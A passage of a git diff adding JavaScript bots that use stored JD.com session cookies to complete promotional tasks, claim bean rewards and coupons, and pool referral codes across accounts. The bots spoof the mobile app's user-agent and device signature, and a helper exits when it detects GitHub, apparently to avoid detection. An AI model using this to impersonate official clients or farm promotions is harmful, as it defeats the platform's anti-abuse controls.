console.log(`完成任务失败:${data}`) + } + } + if (body.actionType === 0) { + if (data.code === "0" && data.data.bizCode === "0") { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function beanHomeIconDoTask(body) { + return new Promise(resolve => { + $.post(taskBeanUrl('beanHomeIconDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanHomeIconDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.flag === "0" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + if (body.flag === "1" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function queryCouponInfo() { + return new Promise(async resolve => { + $.get(taskBeanUrl('queryCouponInfo', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryCouponInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.couponTaskInfo) { + if (!data.data.couponTaskInfo.awardFlag) { + console.log(`去做[${data.data.couponTaskInfo.taskName}]`) + await sceneGetCoupon() + } else { + console.log(`[${data.data.couponTaskInfo.taskName}]已做完`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sceneGetCoupon() { + return new Promise(resolve => { + $.get(taskBeanUrl('sceneGetCoupon', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sceneGetCoupon API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; +} +function doTask2() { + return new Promise(resolve => { + const body = {"awardFlag": false, "skuId": `${getRandomInt(10000000,20000000)}`, "source": "feeds", "type": '1'}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data){ + console.log(`任务完成进度:${data.data.taskProgress}/${data.data.taskThreshold}`) + if(data.data.taskProgress === data.data.taskThreshold) + $.doneState = true + } else if (data.code === '0' && data.errorCode === 'HT201') { + $.doneState = true + } else { + //HT304风控用户 + $.doneState = true + console.log(`做任务异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post(taskUrl('signBeanGroupStageIndex', 'body'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.jklInfo) { + $.actId = data.data.jklInfo.keyId + let {shareCode, groupCode} = data.data + if (!shareCode) { + console.log(`未获取到助力码,去开团`) + await hitGroup() + } else { + console.log(shareCode, groupCode) + // 去做逛会场任务 + if (data.data.beanActivityVisitVenue && data.data.beanActivityVisitVenue.taskStatus === '0') { + await help(shareCode, groupCode, 1) + } + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function hitGroup() { + return new Promise(resolve => { + const body = {"activeType": 2,}; + $.get(taskGetUrl('signGroupHit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.respCode === "SG150") { + let {shareCode, groupCode} = data.data.signGroupMain + if (shareCode) { + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + console.log('开团成功') + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + await help(shareCode, groupCode, 1) + } else { + console.log(`为获取到助力码,错误信息${JSON.stringify(data.data)}`) + } + } else { + console.log(`开团失败,错误信息${JSON.stringify(data.data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function help(shareCode, groupCode, isTask = 0) { + return new Promise(resolve => { + const body = { + "activeType": 2, + "groupCode": groupCode, + "shareCode": shareCode, + "activeId": $.actId, + }; + if (isTask) { + console.log(`【抢京豆】做任务获取助力`) + body['isTask'] = "1" + } else { + console.log(`【抢京豆】去助力好友${shareCode}`) + body['source'] = "guest" + } + $.get(taskGetUrl('signGroupHelp', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`【抢京豆】${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + console.log(`【抢京豆】${data.data.helpToast}`) + } + if(data.code === '0' && data.data && data.data.respCode === 'SG209') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getTaskList() { + return new Promise(resolve => { + const body = {"rnVersion": "4.7", "rnClient": "2", "source": "AppHome"}; + $.post(taskUrl('findBeanHome', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let beanTask = data.data.floorList.filter(vo => vo.floorName === "种豆得豆定制化场景")[0] + if (!beanTask.viewed) { + await receiveTask() + await $.wait(3000) + } + + let tasks = data.data.floorList.filter(vo => vo.floorName === "赚京豆")[0]['stageList'] + for (let i = 0; i < tasks.length; ++i) { + const vo = tasks[i] + if (vo.viewed) continue + await receiveTask(vo.stageId, `4_${vo.stageId}`) + await $.wait(3000) + } + await award() + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveTask(itemId = "zddd", type = "3") { + return new Promise(resolve => { + const body = {"awardFlag": false, "itemId": itemId, "source": "home", "type": type}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`完成任务成功,进度${data.data.taskProgress}/${data.data.taskThreshold}`) + } else { + console.log(`完成任务失败,${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function award(source="home") { + return new Promise(resolve => { + const body = {"awardFlag": true, "source": source}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`领奖成功,获得 ${data.data.beanNum} 个京豆`) + message += `领奖成功,获得 ${data.data.beanNum} 个京豆\n` + } else { + console.log(`领奖失败,${data.errorMessage}`) + // message += `领奖失败,${data.errorMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receiveJd2() { + var headers = { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167515 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Cookie': cookie + }; + var dataString = 'body=%7B%7D&build=167576&client=apple&clientVersion=9.4.3&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=10&screen=1242%2A2208&sign=19c33b5b9ad4f02c53b6040fc8527119&st=1614701322170&sv=122' + var options = { + url: 'https://api.m.jd.com/client.action?functionId=sceneInitialize', + headers: headers, + body: dataString + }; + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0' && data['data']) { + console.log(`强制开启新版领京豆成功,获得${data['data']['sceneLevelConfig']['beanNum']}京豆\n`); + $.msg($.name, '', `强制开启新版领京豆成功\n获得${data['data']['sceneLevelConfig']['beanNum']}京豆`); + } else { + console.log(`强制开启新版领京豆结果:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&clientVersion=9.2.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function taskBeanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + "Referer": "https://h5.m.jd.com/" + } + } +} + +function taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_bean_info.js b/jd_bean_info.js new file mode 100755 index 0000000..b55f22e --- /dev/null +++ b/jd_bean_info.js @@ -0,0 +1,282 @@ +const $ = new Env('京豆详情统计'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +let myMap = new Map(); +let allBean = 0; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await bean(); + await showMsg(); + + } + } + allMessage += `\n今日全部账号收入:${allBean}个京豆 🐶\n` + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + // $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `\n【账号${$.index}:${$.nickName || $.UserName} 京豆详情统计】\n\n`; + allMessage += `今日收入:${$.todayIncomeBean}个京豆 🐶\n` + allBean = allBean + parseInt($.todayIncomeBean) + for (let key of myMap.keys()) { + allMessage += key + ' ---> ' +myMap.get(key)+'京豆 🐶\n' + } + myMap = new Map() + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + // $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(七天将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean", "media-url": "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = [], todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + // $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + // console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + // console.log(`未知情况:${JSON.stringify(response)}`); + // console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + myMap.set(item.eventMassage,0) + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + myMap.set(item.eventMassage,parseInt(myMap.get(item.eventMassage))+parseInt(item.amount)) + } + } + // console.log(myMap) + // await queryexpirejingdou();//过期京豆 + // await redPacket();//过期红包 + // console.log(`今日收入:${$.todayIncomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: 